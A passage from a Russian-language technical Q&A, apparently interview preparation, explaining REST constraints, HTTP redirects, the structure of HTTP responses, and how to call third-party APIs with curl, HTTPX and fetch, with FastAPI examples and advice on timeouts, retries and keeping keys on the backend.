Но сам набор CRUD-маршрутов ещё не доказывает соответствие REST.

Необходимо также учитывать:

  • stateless-взаимодействие;

  • кэшируемость;

  • самодостаточность сообщений;

  • единообразную семантику;

  • слоистую архитектуру;

  • гипермедийное управление переходами.

Следовательно:

HTTP + JSON + CRUD ≠ автоматически REST

REST — не обязательное использование JSON #

Представлением может быть:

JSON
XML
HTML
CSV
JPEG
PDF

Например:

GET /reports/2026
Accept: application/pdf
GET /reports/2026
Accept: application/json

Один ресурс может предоставлять несколько представлений через механизм согласования содержимого.

REST — не обязательное отсутствие cookies и серверных сессий #

Cookie сама по себе не нарушает REST.

Нарушение возникает, когда серверу для понимания текущего запроса нужен скрытый контекст предыдущих запросов:

Cookie содержит все необходимые авторизационные данные
или идентификатор проверяемой авторизации
    → не обязательно нарушает stateless

Сервер хранит пошаговый контекст диалога,
без которого текущий запрос невозможно понять
    → нарушает stateless

На практике классическая серверная пользовательская сессия часто уменьшает степень stateless, особенно когда логика запроса зависит от накопленного контекста сессии. Но вопрос определяется не самим фактом наличия cookie, а тем, является ли каждый запрос самодостаточным.

Пример условно RESTful API #

Получение заказа:

GET /orders/1001
Accept: application/json
Authorization: Bearer <token>

Ответ:

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: private, max-age=60
ETag: "order-1001-v4"
{
  "id": 1001,
  "status": "pending",
  "total": 120.50,
  "_links": {
    "self": {
      "href": "/orders/1001"
    },
    "customer": {
      "href": "/customers/42"
    },
    "payment": {
      "href": "/orders/1001/payment",
      "method": "POST"
    }
  }
}

Здесь видны основные элементы REST:

/orders/1001              → идентификатор ресурса
application/json          → представление
GET                       → единообразная семантика
Authorization             → самодостаточность запроса
Cache-Control и ETag      → кэшируемость
_links                    → гипермедиа
отсутствие контекста      → stateless
прозрачные посредники     → layered system

Главная цель ограничений #

Каждое ограничение создаёт определённые свойства:

ОграничениеОсновной результат
Client–ServerРазделение обязанностей
StatelessМасштабируемость и независимость запросов
CacheableПроизводительность и снижение нагрузки
Uniform InterfaceСлабая связанность и единообразие
Layered SystemПосредники, безопасность и масштабирование
Code on DemandРасширяемость клиента

Но ограничения имеют и цену:

Uniform Interface
→ проще общее взаимодействие
→ менее эффективно для узкоспециализированных операций

Stateless
→ проще масштабировать
→ больше данных передаётся в каждом запросе

Layered System
→ гибкость инфраструктуры
→ дополнительные задержки

REST — это набор осознанных компромиссов, а не универсально лучший стиль для любой системы. По формулировке Филдинга, REST представляет собой согласованный набор ограничений, направленный на уменьшение задержек и сетевого взаимодействия при одновременном повышении независимости и масштабируемости компонентов.

Итог #

REST
    = архитектурный стиль
    = набор ограничений
    ≠ протокол
    ≠ JSON
    ≠ CRUD
    ≠ просто красивые URL

RESTful-система должна следовать следующим ограничениям:

Client–Server
Stateless
Cacheable
Uniform Interface
    ├── идентификация ресурсов
    ├── управление через представления
    ├── самодостаточные сообщения
    └── HATEOAS
Layered System
Code on Demand — необязательно

Центральная идея REST: клиент взаимодействует с ресурсами через передачу их представлений по единообразному интерфейсу, а переходы между состояниями приложения определяются доступными представлениями и гипермедиа.


11. Какой протокол обычно используется при построении REST API #

Обычно используется HTTP #

REST API чаще всего строят поверх HTTP, а в реальных системах — поверх защищённого HTTPS, то есть HTTP с шифрованием TLS.

Клиент
  ↓ HTTPS
REST API
Ресурсы и бизнес-логика

REST сам по себе не является протоколом и теоретически не привязан к HTTP. Это архитектурный стиль. Однако он создавался на основе архитектуры Всемирной паутины, поэтому HTTP естественно реализует его ограничения.

Почему именно HTTP #

HTTP предоставляет необходимые элементы единообразного интерфейса:

GET    /users/42
POST   /users
PUT    /users/42
PATCH  /users/42
DELETE /users/42
  • URI идентифицирует ресурс;

  • метод определяет смысл операции;

  • заголовки передают метаданные;

  • тело содержит представление ресурса;

  • статус-код сообщает результат;

  • стандартные механизмы поддерживают кэширование и согласование форматов.

Пример запроса:

GET /api/users/42 HTTP/1.1
Host: example.com
Accept: application/json
Authorization: Bearer <access-token>

Ответ:

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: private, max-age=60

{
  "id": 42,
  "username": "alfob"
}

HTTP или HTTPS #

Корректнее различать:

HTTP  → протокол прикладного уровня
HTTPS → HTTP, передаваемый через защищённое соединение TLS

Для публичного API практически всегда должен использоваться HTTPS, особенно когда передаются:

  • пароли;

  • cookies;

  • JWT;

  • персональные данные;

  • платёжная информация.

Без TLS содержимое HTTP-запросов может быть прочитано или изменено на пути между клиентом и сервером.

Версия HTTP не меняет REST-модель #

REST API может работать через:

HTTP/1.1
HTTP/2
HTTP/3

Семантика методов, URI, заголовков и статус-кодов остаётся общей для разных версий HTTP. RFC 9110 специально определяет HTTP-семантику независимо от конкретной версии передачи сообщений.

Итог #

REST        → архитектурный стиль
HTTP        → обычно используемый протокол
HTTPS       → HTTP с защищённой передачей через TLS
JSON        → распространённый, но необязательный формат данных

Следовательно, REST API обычно строится на HTTPS, используя семантику HTTP для работы с ресурсами.


12. Как сервер выполняет перенаправление браузера через HTTP-ответ? #

Как работает HTTP-перенаправление #

Сервер не «перемещает» браузер напрямую. Он возвращает HTTP-ответ с:

  1. статус-кодом перенаправления;

  2. заголовком Location, содержащим новый URI.

HTTP/1.1 302 Found
Location: /login
Content-Length: 0

Получив такой ответ, браузер обычно автоматически формирует новый HTTP-запрос по адресу из Location. Именно браузер, а не сервер, выполняет переход. RFC 9110 разрешает клиенту автоматически следовать Location в ответах перенаправления.

Последовательность запросов #

Клиент запрашивает закрытый ресурс:

GET /profile HTTP/1.1
Host: example.com

Сервер отвечает:

HTTP/1.1 302 Found
Location: /login

После этого браузер отправляет новый запрос:

GET /login HTTP/1.1
Host: example.com

Сервер возвращает страницу:

HTTP/1.1 200 OK
Content-Type: text/html

<html>...</html>

То есть перенаправление состоит из двух отдельных циклов request → response:

GET /profile
302 Location: /login
GET /login
200 OK

Заголовок Location #

Location может содержать абсолютный URI:

Location: https://accounts.example.com/login

или относительную ссылку:

Location: /login

Относительная ссылка разрешается относительно URI исходного запроса. Для ответов 3xx значение Location указывает предпочтительный целевой ресурс перенаправления. ( RFC Editor)

Основные коды перенаправления #

КодЗначениеМетод следующего запроса
301 Moved PermanentlyРесурс перемещён постоянноБраузер может заменить POST на GET
302 FoundВременное перенаправлениеБраузер может заменить POST на GET
303 See OtherПолучить результат по другому URIИспользуется GET или HEAD
307 Temporary RedirectВременное перенаправлениеМетод и тело сохраняются
308 Permanent RedirectПостоянное перенаправлениеМетод и тело сохраняются

Различие особенно важно после POST.

302 после POST #

Клиент отправляет форму:

POST /orders HTTP/1.1
Content-Type: application/json

{
  "product_id": 15
}

Сервер отвечает:

HTTP/1.1 302 Found
Location: /orders/1001

Исторически браузеры часто преобразуют следующий запрос в:

GET /orders/1001

Хотя старые определения 301 и 302 предполагали сохранение метода, распространённое браузерное поведение допускает замену POST на GET. Когда сохранение метода принципиально важно, используют 307 или 308.

303 See Other #

303 явно говорит клиенту получить другой ресурс через GET или HEAD:

POST /orders HTTP/1.1
Content-Type: application/json

{
  "product_id": 15
}

Ответ:

HTTP/1.1 303 See Other
Location: /orders/1001

Следующий запрос:

GET /orders/1001 HTTP/1.1

Это часто применяется в схеме Post/Redirect/Get:

POST — выполнить операцию
303  — перенаправить на результат
GET  — показать результат

Так обновление страницы не приводит к повторной отправке исходного POST. RFC 9110 прямо определяет 303 как переход к другому ресурсу посредством запроса на получение, обычно GET или HEAD.

307 и 308 #

Эти коды сохраняют исходный HTTP-метод и тело.

Исходный запрос:

POST /old-endpoint HTTP/1.1
Content-Type: application/json

{
  "value": 10
}

Ответ:

HTTP/1.1 307 Temporary Redirect
Location: /new-endpoint

Браузер повторяет:

POST /new-endpoint HTTP/1.1
Content-Type: application/json

{
  "value": 10
}

Разница:

307 → временное перенаправление
308 → постоянное перенаправление

Их следует применять, когда изменение POST на GET недопустимо.

Пример в FastAPI #

from fastapi import FastAPI
from fastapi.responses import RedirectResponse

app = FastAPI()


@app.get("/profile")
async def profile():
    return RedirectResponse(
        url="/login",
        status_code=302,
    )


@app.post("/orders")
async def create_order():
    order_id = 1001

    return RedirectResponse(
        url=f"/orders/{order_id}",
        status_code=303,
    )

FastAPI сформирует ответ примерно такого вида:

HTTP/1.1 303 See Other
Location: /orders/1001
Content-Length: 0

Тело ответа необязательно #

Ответ перенаправления может содержать HTML с обычной ссылкой:

HTTP/1.1 302 Found
Location: /login
Content-Type: text/html

<a href="/login">Перейти на страницу входа</a>

Это полезно для клиентов, которые не выполняют автоматическое перенаправление. Однако основным механизмом остаются статус-код и Location. RFC отмечает, что содержимое ответа перенаправления обычно может включать короткую гипертекстовую заметку со ссылкой.

Не каждый код 3xx означает переход на другой URL #

Например:

304 Not Modified

тоже относится к классу 3xx, но не перенаправляет браузер на другой ресурс. Он сообщает кэшу, что сохранённое представление можно использовать повторно.

Поэтому корректнее говорить:

перенаправление обычно выполняется
через определённый статус 3xx + Location

а не «любой ответ 3xx перенаправляет браузер».

Перенаправление и внутренний rewrite #

HTTP-перенаправление:

Браузер запрашивает /old
Сервер отвечает 301 Location: /new
Браузер запрашивает /new
URL в адресной строке изменяется

Внутреннее перенаправление или rewrite:

Браузер запрашивает /old
Сервер внутри обрабатывает запрос как /new
Сервер сразу отвечает 200
URL в браузере остаётся /old

При HTTP redirect возникает новый запрос от браузера. При rewrite маршрутизация изменяется только внутри сервера.

Итог #

1. Браузер отправляет запрос.
2. Сервер возвращает 301/302/303/307/308.
3. В ответе указывается Location.
4. Браузер читает Location.
5. Браузер создаёт новый HTTP-запрос.
6. Адресная строка изменяется на новый URL.

Главное различие кодов состоит в постоянстве перенаправления и в том, должен ли браузер сохранить исходный HTTP-метод:

303       → перейти через GET
307 / 308 → сохранить метод и тело
301 / 302 → исторически могут преобразовать POST в GET


13. Из чего состоит response в REST #

Из чего состоит response в REST API #

REST не определяет отдельный формат ответа. Обычно REST API работает поверх HTTP, поэтому response — это обычный HTTP-ответ.

Для HTTP/1.1 его структура выглядит так:

Status line
Headers

Body

Между заголовками и телом находится пустая строка. Тело необязательно.

Пример:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 46
Cache-Control: private, max-age=60

{
  "id": 42,
  "username": "alfob"
}

1. Status line — строка состояния #

HTTP/1.1 200 OK

Она содержит:

HTTP-version status-code reason-phrase
  • HTTP/1.1 — версия HTTP;

  • 200 — статус-код;

  • OK — текстовое описание статуса.

Именно числовой статус-код определяет результат обработки запроса. Текстовая фраза OK, Not Found и подобные служит пояснением и не должна использоваться программой для определения результата.

Основные группы:

ДиапазонЗначение
1xxинформационный ответ
2xxзапрос успешно обработан
3xxперенаправление или работа с кэшем
4xxошибка со стороны клиента
5xxошибка со стороны сервера

Примеры:

200 OK
201 Created
204 No Content
400 Bad Request
401 Unauthorized
403 Forbidden
404 Not Found
409 Conflict
422 Unprocessable Content
500 Internal Server Error

2. Headers — заголовки ответа #

Заголовки содержат метаданные ответа:

Content-Type: application/json
Content-Length: 46
Cache-Control: private, max-age=60
ETag: "user-42-v3"
Location: /users/42
Set-Cookie: session=abc123; HttpOnly; Secure

Распространённые заголовки:

ЗаголовокНазначение
Content-Typeформат содержимого тела
Content-Lengthразмер тела в байтах
Content-Encodingсжатие содержимого, например gzip
Cache-Controlправила кэширования
ETagверсия представления ресурса
LocationURI созданного ресурса или адрес перенаправления
Set-Cookieустановка cookie
WWW-Authenticateсхема аутентификации при ошибке
Allowразрешённые методы
Retry-Afterкогда клиенту следует повторить запрос
Access-Control-Allow-Originчасть настроек CORS

Заголовки описывают ответ целиком или представление, находящееся в его теле.

3. Пустая строка #

В HTTP/1.1 после заголовков идёт пустая строка:

Content-Type: application/json
Content-Length: 46

{
  "id": 42
}

Она отделяет секцию заголовков от тела ответа. Даже когда тела нет, пустая строка завершает секцию заголовков.

4. Body — тело ответа #

Тело содержит представление ресурса или описание результата операции.

Чаще всего REST API возвращает JSON:

{
  "id": 42,
  "username": "alfob"
}

Но REST не требует именно JSON. Тело может содержать:

JSON
XML
HTML
CSV
PDF
изображение
видео
бинарный файл

Формат определяется заголовком Content-Type:

Content-Type: application/json
Content-Type: application/pdf
Content-Type: image/png

Смысл содержимого зависит от метода исходного запроса, статус-кода ответа и заголовков, описывающих представление.

У ответа не всегда есть body #

Некоторые ответы не содержат тело.

204 No Content #

HTTP/1.1 204 No Content

Используется, когда операция выполнена успешно, но возвращать представление не требуется.

Ответ на HEAD #

HEAD /users/42

Сервер возвращает заголовки, которые соответствовали бы GET, но без тела.

304 Not Modified #

HTTP/1.1 304 Not Modified
ETag: "user-42-v3"

Клиент должен использовать ранее закэшированное представление.

Ответы на HEAD, а также ответы со статусами 1xx, 204 и 304 не содержат тело сообщения.

Пример успешного получения ресурса #

Запрос:

GET /users/42 HTTP/1.1
Host: api.example.com
Accept: application/json

Ответ:

HTTP/1.1 200 OK
Content-Type: application/json
ETag: "user-42-v3"
Cache-Control: private, max-age=60

{
  "id": 42,
  "username": "alfob",
  "is_active": true
}

Структура:

HTTP/1.1 200 OK                 → строка состояния
Content-Type: application/json  → заголовок
ETag: "user-42-v3"              → заголовок
Cache-Control: ...              → заголовок
                                 → пустая строка
{ ... }                         → тело

Пример создания ресурса #

HTTP/1.1 201 Created
Location: /users/42
Content-Type: application/json

{
  "id": 42,
  "username": "alfob"
}

Здесь:

  • 201 Created сообщает об успешном создании;

  • Location указывает URI созданного ресурса;

  • body содержит его представление.

Пример ошибки #

HTTP/1.1 404 Not Found
Content-Type: application/problem+json

{
  "type": "https://api.example.com/problems/user-not-found",
  "title": "User not found",
  "status": 404,
  "detail": "User with ID 42 does not exist"
}

Тело ошибки не имеет обязательной REST-структуры. API самостоятельно определяет её контракт. Для стандартизированного описания HTTP-ошибок может применяться формат application/problem+json.

Важно не дублировать противоречащие значения:

HTTP/1.1 404 Not Found
{
  "status": 200
}

Клиент прежде всего должен ориентироваться на HTTP-статус ответа.

Представление ресурса и служебная обёртка #

API может вернуть непосредственно ресурс:

{
  "id": 42,
  "username": "alfob"
}

Или использовать прикладную обёртку:

{
  "data": {
    "id": 42,
    "username": "alfob"
  },
  "meta": {
    "request_id": "c7e84f"
  }
}

Такая обёртка является решением конкретного API, а не обязательным требованием REST.

Для коллекции часто возвращают:

{
  "items": [
    {
      "id": 41,
      "username": "user1"
    },
    {
      "id": 42,
      "username": "user2"
    }
  ],
  "pagination": {
    "limit": 20,
    "offset": 0,
    "total": 154
  }
}

Trailers — завершающие поля #

HTTP также допускает trailer-поля, передаваемые после содержимого сообщения. Они применяются значительно реже заголовков, например когда значение можно вычислить только после формирования тела.

Условно:

HTTP/1.1 200 OK
Transfer-Encoding: chunked
Trailer: Digest

...тело ответа...

Digest: sha-256=...

Для большинства REST API структура обычно ограничивается статусом, заголовками и необязательным телом.

Особенность HTTP/2 и HTTP/3 #

Запись:

HTTP/1.1 200 OK

относится к текстовому формату HTTP/1.1.

В HTTP/2 нет текстовой status line. Статус передаётся в специальном псевдозаголовке:

:status: 200
content-type: application/json

Заголовки и содержимое передаются бинарными кадрами. Однако на уровне приложения смысл остаётся тем же:

статус
+ поля ответа
+ необязательное содержимое

HTTP/2 требует присутствия единственного псевдозаголовка :status в каждом ответе.

Итоговая структура #

Для обычного REST API поверх HTTP response состоит из:

1. Статус ответа
2. Заголовки
3. Пустая строка в HTTP/1.1
4. Необязательное тело
5. Необязательные trailer-поля

Практически важная модель:

HTTP response
├── status code
├── headers
└── body — необязательно

REST определяет архитектурные ограничения взаимодействия, но конкретную структуру сообщения в таком API обычно предоставляет HTTP.


14. Как вызывать сторонний API напрямую? #

Что означает «вызвать сторонний API напрямую» #

Это значит, что ваше приложение самостоятельно формирует HTTP-запрос к endpoint другого сервиса:

Ваше приложение
      │ HTTP/HTTPS-запрос
Сторонний API
      │ HTTP-ответ
Ваше приложение

Для вызова нужно знать:

  • URL endpoint;

  • HTTP-метод;

  • способ аутентификации;

  • query-параметры;

  • формат тела;

  • ожидаемые статус-коды и структуру ответа.

Общая последовательность #

1. Изучить документацию API
2. Получить API key или access token
3. Сформировать HTTP-запрос
4. Установить timeout
5. Отправить запрос
6. Проверить status code
7. Десериализовать ответ
8. Обработать сетевые ошибки и ограничения API

Пример запроса:

GET /v1/users/42?include=profile HTTP/1.1
Host: api.example.com
Accept: application/json
Authorization: Bearer <access-token>

Ответ:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 42,
  "username": "alfob"
}

Через curl #

Для быстрой ручной проверки API удобно использовать curl.

GET-запрос:

curl --request GET \
  --url "https://api.example.com/v1/users/42" \
  --header "Accept: application/json" \
  --header "Authorization: Bearer ACCESS_TOKEN"

POST с JSON:

curl --request POST \
  --url "https://api.example.com/v1/orders" \
  --header "Content-Type: application/json" \
  --header "Authorization: Bearer ACCESS_TOKEN" \
  --data '{
    "product_id": 15,
    "quantity": 2
  }'

Чтобы увидеть заголовки ответа:

curl --include "https://api.example.com/v1/users/42"

curl позволяет формировать HTTP-запросы из командной строки, а параметр --include выводит заголовки ответа вместе с содержимым.

Синхронный вызов на Python через HTTPX #

from typing import Any

import httpx


def get_user(user_id: int, access_token: str) -> dict[str, Any]:
    url = f"https://api.example.com/v1/users/{user_id}"

    headers = {
        "Accept": "application/json",
        "Authorization": f"Bearer {access_token}",
    }

    try:
        response = httpx.get(
            url,
            headers=headers,
            timeout=10.0,
        )

        response.raise_for_status()
        return response.json()

    except httpx.TimeoutException as exc:
        raise RuntimeError("Сторонний API не ответил вовремя") from exc

    except httpx.HTTPStatusError as exc:
        raise RuntimeError(
            f"Сторонний API вернул статус "
            f"{exc.response.status_code}"
        ) from exc

    except httpx.RequestError as exc:
        raise RuntimeError(
            "Не удалось выполнить запрос к стороннему API"
        ) from exc

raise_for_status() генерирует исключение для ошибочных HTTP-статусов, а response.json() десериализует JSON-ответ. HTTPX также поддерживает query-параметры, заголовки, JSON-тела и настраиваемые тайм-ауты.

GET с query-параметрами #

Не следует собирать query string вручную:

import httpx

params = {
    "status": "active",
    "limit": 20,
    "offset": 0,
}

response = httpx.get(
    "https://api.example.com/v1/users",
    params=params,
    timeout=10.0,
)

response.raise_for_status()
users = response.json()

HTTPX самостоятельно выполнит URL-кодирование:

https://api.example.com/v1/users?status=active&limit=20&offset=0

Передача query-параметров через params описана в официальной документации HTTPX. ( HTTPX)

POST с JSON #

import httpx

payload = {
    "product_id": 15,
    "quantity": 2,
}

response = httpx.post(
    "https://api.example.com/v1/orders",
    json=payload,
    headers={
        "Authorization": "Bearer ACCESS_TOKEN",
        "Accept": "application/json",
    },
    timeout=10.0,
)

response.raise_for_status()
order = response.json()

Параметр json=:

  1. сериализует словарь в JSON;

  2. помещает его в тело запроса;

  3. устанавливает соответствующий Content-Type.

Для HTML-форм обычно используется data=:

response = httpx.post(
    "https://api.example.com/oauth/token",
    data={
        "grant_type": "client_credentials",
        "client_id": "client-id",
        "client_secret": "client-secret",
    },
)

JSON и form-urlencoded — разные форматы тела. Какой из них использовать, определяет документация конкретного API.

Асинхронный вызов через HTTPX #

В асинхронном приложении, например FastAPI, обычно используется httpx.AsyncClient:

from typing import Any

import httpx


async def get_user(
    client: httpx.AsyncClient,
    user_id: int,
    access_token: str,
) -> dict[str, Any]:
    response = await client.get(
        f"https://api.example.com/v1/users/{user_id}",
        headers={
            "Authorization": f"Bearer {access_token}",
            "Accept": "application/json",
        },
    )

    response.raise_for_status()
    return response.json()

HTTPX рекомендует использовать асинхронный клиент при работе внутри асинхронного веб-фреймворка.

Пример в FastAPI #

Не следует создавать новый AsyncClient на каждый запрос:

@app.get("/users/{user_id}")
async def get_user(user_id: int):
    async with httpx.AsyncClient() as client:
        ...

Это работает, но при высокой нагрузке мешает эффективно переиспользовать соединения.

Лучше создать один клиент на время жизни приложения:

from contextlib import asynccontextmanager
from typing import AsyncIterator

import httpx
from fastapi import FastAPI, HTTPException


@asynccontextmanager
async def lifespan(app: FastAPI) -> AsyncIterator[None]:
    app.state.http_client = httpx.AsyncClient(
        base_url="https://api.example.com",
        timeout=httpx.Timeout(10.0),
        headers={
            "Accept": "application/json",
        },
    )

    try:
        yield
    finally:
        await app.state.http_client.aclose()


app = FastAPI(lifespan=lifespan)


@app.get("/external-users/{user_id}")
async def get_external_user(user_id: int):
    client: httpx.AsyncClient = app.state.http_client

    try:
        response = await client.get(
            f"/v1/users/{user_id}",
            headers={
                "Authorization": "Bearer ACCESS_TOKEN",
            },
        )

        response.raise_for_status()

    except httpx.TimeoutException:
        raise HTTPException(
            status_code=504,
            detail="External API timeout",
        )

    except httpx.HTTPStatusError as exc:
        if exc.response.status_code == 404:
            raise HTTPException(
                status_code=404,
                detail="External user not found",
            )

        raise HTTPException(
            status_code=502,
            detail="External API returned an error",
        )

    except httpx.RequestError:
        raise HTTPException(
            status_code=502,
            detail="External API is unavailable",
        )

    return response.json()

Client и AsyncClient используют пул соединений и переиспользуют существующие TCP-соединения, что уменьшает задержки и накладные расходы. HTTPX отдельно рекомендует не создавать клиентов внутри часто выполняющегося цикла.

Аутентификация #

Bearer token #

headers = {
    "Authorization": f"Bearer {access_token}",
}

API key в заголовке #

headers = {
    "X-API-Key": api_key,
}

API key в query-параметре #

params = {
    "api_key": api_key,
}

Последний вариант следует использовать только тогда, когда этого требует API: URL может попасть в журналы, историю и системы мониторинга.

Basic Authentication #

response = httpx.get(
    "https://api.example.com/v1/resource",
    auth=("username", "password"),
)

HTTPX предоставляет встроенную поддержку Basic и Digest Authentication.

Как обрабатывать статус-коды #

Не следует считать любой полученный ответ успешным:

response = await client.get("/v1/users/42")

if response.status_code == 200:
    return response.json()

if response.status_code == 404:
    return None

if response.status_code == 401:
    raise ExternalAuthenticationError()

if response.status_code == 429:
    raise ExternalRateLimitError()

if response.status_code >= 500:
    raise ExternalServiceUnavailableError()

Типичная интерпретация:

СтатусДействие
200Прочитать результат
201Ресурс создан
204Успех без тела
400Проверить отправленные данные
401Токен отсутствует или недействителен
403Недостаточно прав
404Ресурс не найден
409Конфликт состояния
422Данные не прошли обработку
429Превышен лимит запросов
500–599Ошибка стороннего сервиса

Timeout обязателен #

Внешний сервис может:

  • долго отвечать;

  • не принять соединение;

  • зависнуть во время передачи данных;

  • стать временно недоступным.

Поэтому запрос должен иметь ограничение времени:

timeout = httpx.Timeout(
    connect=3.0,
    read=10.0,
    write=10.0,
    pool=3.0,
)

async with httpx.AsyncClient(timeout=timeout) as client:
    response = await client.get(
        "https://api.example.com/v1/resource"
    )

HTTPX поддерживает отдельные тайм-ауты для подключения, чтения, записи и ожидания соединения из пула. У библиотеки также есть стандартный тайм-аут сетевой неактивности, но в рабочем приложении его лучше задавать осознанно.

Повторные запросы #

Повторять запросы можно при временных ошибках:

408 Request Timeout
429 Too Many Requests
502 Bad Gateway
503 Service Unavailable
504 Gateway Timeout

Но нельзя бездумно повторять любой POST:

POST /payments

Первый запрос мог успешно создать платёж, а клиент не получил ответ. Повторная отправка способна создать второй платёж.

Для изменяющих операций применяют:

  • idempotency key;

  • уникальный идентификатор операции;

  • ограниченное число повторов;

  • exponential backoff;

  • учёт Retry-After.

Пример:

headers = {
    "Authorization": f"Bearer {access_token}",
    "Idempotency-Key": operation_id,
}

Поддержка Idempotency-Key должна быть предусмотрена самим сторонним API.

Вызов из браузера #

async function loadUser() {
    const response = await fetch(
        "https://api.example.com/v1/users/42",
        {
            method: "GET",
            headers: {
                "Accept": "application/json",
                "Authorization": "Bearer ACCESS_TOKEN",
            },
        },
    );

    if (!response.ok) {
        throw new Error(`HTTP error: ${response.status}`);
    }

    return await response.json();
}

fetch() возвращает Promise<Response>, но HTTP-статус 404 или 500 сам по себе не приводит к отклонению Promise. Поэтому необходимо отдельно проверять response.ok или response.status.

Ограничение CORS #

Когда браузерный frontend обращается к другому origin:

Frontend:
https://app.example.com

API:
https://api.external.com

сторонний сервер должен разрешить такой вызов через CORS-заголовки. В противном случае браузер заблокирует JavaScript-доступ к ответу. CORS применяется к браузерным fetch() и XMLHttpRequest; серверные Python-запросы этим браузерным ограничением не связаны.

То есть:

Browser → сторонний API
          зависит от CORS

FastAPI → сторонний API
          CORS не мешает

Почему секретный API key нельзя помещать во frontend #

Так делать нельзя:

const API_KEY = "secret-production-key";

Код frontend загружается на устройство пользователя. Ключ можно извлечь из:

  • JavaScript-кода;

  • DevTools;

  • сетевых запросов;

  • source map;

  • browser storage.

Для секретного ключа запрос должен проходить через ваш backend:

Browser
   │ запрос без стороннего секрета
Ваш backend
   │ запрос с API key
Сторонний API

Backend при этом может:

  • хранить секрет;

  • проверять пользователя;

  • ограничивать доступ;

  • валидировать входные данные;

  • логировать операции;

  • кэшировать ответы;

  • контролировать rate limit.

Не возвращайте ошибку стороннего API без обработки #

Плохо:

return external_response.json()

Особенно при ошибке стороннего сервиса. Ответ может содержать:

  • внутренние идентификаторы;

  • детали инфраструктуры;

  • нестабильную структуру;

  • конфиденциальные сведения;

  • сообщения, не подходящие вашему API-контракту.

Лучше преобразовать внешний ответ в собственную модель:

from pydantic import BaseModel


class UserResponse(BaseModel):
    id: int
    username: str


data = external_response.json()

return UserResponse(
    id=data["external_user_id"],
    username=data["display_name"],
)

Ваш API не должен жёстко зависеть от структуры ответа сторонней системы во всех слоях приложения.

Практичная архитектура #

Endpoint FastAPI
Business service
ExternalApiClient
HTTPX
Сторонний API

Пример клиента:

from typing import Any

import httpx


class ExternalApiError(Exception):
    pass


class ExternalApiClient:
    def __init__(
        self,
        client: httpx.AsyncClient,
        api_key: str,
    ) -> None:
        self._client = client
        self._api_key = api_key

    async def get_user(self, user_id: int) -> dict[str, Any]:
        try:
            response = await self._client.get(
                f"/v1/users/{user_id}",
                headers={
                    "X-API-Key": self._api_key,
                },
            )
            response.raise_for_status()
            return response.json()

        except httpx.TimeoutException as exc:
            raise ExternalApiError(
                "External API timeout"
            ) from exc

        except httpx.HTTPStatusError as exc:
            raise ExternalApiError(
                f"External API returned "
                f"{exc.response.status_code}"
            ) from exc

        except httpx.RequestError as exc:
            raise ExternalApiError(
                "External API request failed"
            ) from exc

Так бизнес-сервис не зависит напрямую от HTTPX и деталей стороннего API.

Итог #

Чтобы вызвать сторонний API напрямую, приложение должно отправить обычный HTTP-запрос:

метод
+ URL
+ headers
+ query-параметры
+ необязательное body
+ timeout

Для Python/FastAPI практичная схема:

httpx.AsyncClient
+ один переиспользуемый клиент
+ timeout
+ обработка HTTP и сетевых ошибок
+ проверка структуры ответа
+ собственный адаптер ExternalApiClient

Из браузера прямой запрос возможен только при корректном CORS, а секретные API-ключи должны оставаться на backend.


15. Как подключаться к API без официального SDK? #

Основная идея #

Официальный SDK не обязателен. SDK обычно лишь оборачивает обычные HTTP-запросы в методы и классы:

client.get_user(user_id=42)

Без SDK вы самостоятельно формируете запрос:

GET /v1/users/42 HTTP/1.1
Host: api.example.com
Authorization: Bearer <token>
Accept: application/json

Для подключения нужны:

  • базовый URL API;

  • endpoint и HTTP-метод;

  • способ аутентификации;

  • параметры запроса;

  • формат тела;

  • структура ответа;

  • возможные статус-коды и ошибки.

1. Изучить документацию API #

Документация должна описывать операцию примерно так:

GET /v1/users/{user_id}

Path:
    user_id: integer

Headers:
    Authorization: Bearer <token>

Response:
    200 — пользователь найден
    401 — токен недействителен
    404 — пользователь не найден

Если сервис публикует OpenAPI-схему, в ней могут быть формально описаны:

  • доступные пути;

  • HTTP-операции;

  • параметры;

  • тела запросов;

  • ответы;

  • схемы данных.

OpenAPI также может использоваться инструментами для автоматической генерации клиентского кода.

2. Проверить запрос через curl #

Перед написанием кода удобно выполнить запрос вручную:

curl --request GET \
  --url "https://api.example.com/v1/users/42" \
  --header "Authorization: Bearer ACCESS_TOKEN" \
  --header "Accept: application/json"

POST-запрос с JSON:

curl --request POST \
  --url "https://api.example.com/v1/orders" \
  --header "Authorization: Bearer ACCESS_TOKEN" \
  --header "Content-Type: application/json" \
  --data '{
    "product_id": 15,
    "quantity": 2
  }'

Так можно отдельно проверить URL, авторизацию и формат данных до интеграции API в приложение.

3. Использовать обычный HTTP-клиент #

В Python можно использовать:

  • httpx;

  • requests;

  • aiohttp;

  • стандартный urllib.

Для FastAPI и другого асинхронного кода удобно использовать httpx.AsyncClient. HTTPX предоставляет синхронный и асинхронный интерфейсы, а для асинхронных веб-фреймворков рекомендует асинхронный клиент.

Синхронный пример #

from typing import Any

import httpx


def get_user(
    user_id: int,
    access_token: str,
) -> dict[str, Any]:
    response = httpx.get(
        f"https://api.example.com/v1/users/{user_id}",
        headers={
            "Authorization": f"Bearer {access_token}",
            "Accept": "application/json",
        },
        timeout=10.0,
    )

    response.raise_for_status()
    return response.json()

raise_for_status() создаёт исключение для ошибочного HTTP-статуса, а response.json() преобразует JSON-ответ в Python-объект.

Асинхронный пример #

from typing import Any

import httpx


async def get_user(
    client: httpx.AsyncClient,
    user_id: int,
    access_token: str,
) -> dict[str, Any]:
    response = await client.get(
        f"/v1/users/{user_id}",
        headers={
            "Authorization": f"Bearer {access_token}",
        },
    )

    response.raise_for_status()
    return response.json()

Создание клиента:

client = httpx.AsyncClient(
    base_url="https://api.example.com",
    timeout=10.0,
    headers={
        "Accept": "application/json",
    },
)

4. Передавать данные правильным способом #

Query-параметры #

response = await client.get(
    "/v1/users",
    params={
        "status": "active",
        "limit": 20,
        "offset": 0,
    },
)

Получится запрос:

GET /v1/users?status=active&limit=20&offset=0

JSON-тело #

response = await client.post(
    "/v1/orders",
    json={
        "product_id": 15,
        "quantity": 2,
    },
)

Form data #

response = await client.post(
    "/oauth/token",
    data={
        "grant_type": "client_credentials",
        "client_id": client_id,
        "client_secret": client_secret,
    },
)

HTTPX поддерживает параметры params, json, data, files, headers, cookies и auth.

5. Настроить аутентификацию #

Способ зависит от API.

Bearer token #

headers = {
    "Authorization": f"Bearer {access_token}",
}

API key #

headers = {
